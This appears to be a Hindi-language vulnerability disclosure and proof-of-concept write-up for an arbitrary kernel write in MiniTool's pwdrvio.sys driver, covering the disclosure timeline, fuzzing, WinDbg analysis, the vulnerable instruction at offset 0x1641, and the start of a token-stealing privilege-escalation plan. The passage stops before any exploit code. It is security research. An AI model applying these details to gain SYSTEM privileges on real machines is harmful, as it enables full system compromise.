CVE-2026-36981-Kernel-EoP-PoC

MiniTool के pwdrvio.sys कर्नेल ड्राइवर के भीतर कर्नेल write-what-where स्थिति। एक डीबगर-सहायता प्राप्त मनमाना कर्नेल राइट प्रिमिटिव प्रदर्शित करता है जिसका उपयोग विशेषाधिकार वृद्धि (privilege escalation) की दिशा में किया जा सकता है।

• 2026-02-09 विक्रेता को सूचित किया गया
• 2026-03-05 विक्रेता ने स्वीकार किया
• 2026-03-05 MITRE से CVE का अनुरोध किया गया
• 2026-05-10 90-दिवसीय समन्वित प्रकटीकरण अवधि के बाद सार्वजनिक प्रकटीकरण

https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e

मनमाना कर्नेल राइट → स्थानीय विशेषाधिकार वृद्धि (LPE) गंभीरता: उच्च (HIGH)
CVSS 3.1 स्कोर: 7.8 (LPE) CVSS वेक्टर स्ट्रिंग:

• LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

  • डीबगर-सहायता प्राप्त मनमाना कर्नेल राइट प्रिमिटिव जिसका उपयोग विशेषाधिकार वृद्धि की दिशा में किया जा सकता है।
  • ड्राइवर ऑफसेट 0x1641 पर write-what-where प्रिमिटिव के माध्यम से शोषण योग्य
  • विश्वसनीय शोषण के लिए कर्नेल डीबगिंग टूल्स की आवश्यकता होती है
  • Windows 10 Build 19045.6466 पर पुष्टि की गई

हमले की पूर्वापेक्षाएँ:

• लक्ष्य प्रणाली तक स्थानीय पहुंच
• मानक उपयोगकर्ता खाता (गैर-प्रशासक)
• MiniTool स्थापित या अनइंस्टॉल किया हुआ (pwdrvio.sys ड्राइवर लोडेड)

शोषण परिणाम: LPE - डीबगर-सहायता प्राप्त विशेषाधिकार वृद्धि प्रदर्शित की गई (NT AUTHORITY / SYSTEM), पूर्ण सिस्टम समझौता

भेद्यता खोज की समयरेखा

प्रारंभिक फज़िंग और BSOD खोज

तिथि: 5 फरवरी, 2026
गतिविधि: कस्टम Python फज़र का उपयोग करके व्यवस्थित कर्नेल ड्राइवर फज़िंग

खोज प्रक्रिया:

1. लक्ष्य चयन:

   • Windows 10 VM पर स्थापित कर्नेल ड्राइवरों की सूची तैयार की
   • pwdrvio.sys को सबसे पुराने ड्राइवर के रूप में पहचाना (टाइमस्टैम्प: 16 जून, 2009)
   • ड्राइवर फ़ाइल: C:\Windows\System32\drivers\pwdrvio.sys
   • डिवाइस ऑब्जेक्ट: \\.\PartitionWizardDiskAccesser\0

2. प्रारंभिक फज़िंग:

   • ड्राइवर के साथ इंटरफेस करने के लिए ctypes का उपयोग करके Python फज़र विकसित किया
   • ड्राइवर डिवाइस पर WriteFile/DeviceIoControl के माध्यम से यादृच्छिक डेटा भेजा
   • परिणाम: कई ब्लू स्क्रीन ऑफ डेथ (BSOD)

3. वेरिफायर सक्रियण:

   • बेहतर क्रैश पहचान के लिए Driver Verifier सक्षम किया ```cmd verifier /standard /driver pwdrvio.sys

वेरिफायर कॉन्फ़िगरेशन: ``` Verifier Flags: 0x001209bb Standard Flags Enabled: [X] Special pool [X] Force IRQL checking
[X] Pool tracking [X] I/O verification [X] Deadlock detection [X] DMA checking [X] Security checks [X] Miscellaneous checks [X] DDI compliance checking

### WinDbg कर्नेल डिबगिंग सेटअप
**दिनांक:** 5-6 फरवरी, 2026  
**गतिविधि:** रूट कॉज़ विश्लेषण के लिए कर्नेल डिबगिंग वातावरण स्थापित किया गया

**सेटअप प्रक्रिया:**

1. **VMware सीरियल पोर्ट कॉन्फ़िगरेशन:**   ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓

2. अतिथि OS कॉन्फ़िगरेशन: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0

3. होस्ट WinDbg कनेक्शन: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓

   Result: "Kernel Debugger connection established."

रूट कॉज़ विश्लेषण - आर्बिट्ररी राइट डिस्कवरी

दिनांक: 6 फरवरी, 2026
गतिविधि: आर्बिट्ररी कर्नेल राइट प्रिमिटिव की पहचान की गई

विश्लेषण चरण:

1. मॉड्यूल विश्लेषण: ``` 1: kd> lm m pwdrvio start end module name fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)

   1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio

   DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060

   Dispatch Routines: [00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8 [03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target [0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404

2. असुरक्षित निर्देश खोज (Vulnerable Instruction Discovery):

   राइट हैंडलर पर ब्रेकपॉइंट सेट करें: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g

   Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax

महत्वपूर्ण निष्कर्ष: मनमाना लेखन प्रिमिटिव की पहचान की गई!

• निर्देश कर्नेल पॉइंटर (RAX) को पते [R11-0x10] पर लिखता है
• R11 स्टैक फ्रेम से लोड किया जाता है: mov r11, qword ptr [rbp+0xB8h]
• गंतव्य पते पर कोई सत्यापन नहीं किया जाता है

3. रजिस्टर स्थिति विश्लेषण: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame

   0: kd> dq @rbp+0xB8 L1 ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here

UAF से Arbitrary Write विश्लेषण

दिनांक: 6-7 फरवरी, 2026
गतिविधि: User-After-Free से write-what-where स्थिति तक भेद्यता का पता लगाया गया

Memory Corruption श्रृंखला:

1. IRP आवंटन: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets

2. बफर संबंध: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location

   0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!

विश्लेषण: उपयोगकर्ता बफर RBP फ्रेम से सीधे एक्सेस नहीं किया जा सकता

• RBP कर्नेल पूल में IRP संरचना की ओर इशारा करता है
• उपयोगकर्ता बफर एक अलग मेमोरी क्षेत्र में है
• RBP+0xB8 ऑफसेट उपयोगकर्ता-नियंत्रित बफर की ओर इशारा नहीं करता

3. उपयोग-के-बाद-मुक्त (Use-After-Free) स्थिति:

   ड्राइवर IRP संरचना में डैंगलिंग पॉइंटर्स बनाए रखता है: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP

   // No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);

   // Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!

स्थानीय विशेषाधिकार वृद्धि विकास

दिनांक: 7-8 फरवरी, 2026
गतिविधि: टोकन चोरी तकनीक विकसित की गई

शोषण रणनीति:

उद्देश्य: वर्तमान प्रक्रिया टोकन को SYSTEM टोकन से अधिलेखित करना

Windows EPROCESS संरचना:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location

**टोकन चोरी प्रक्रिया:**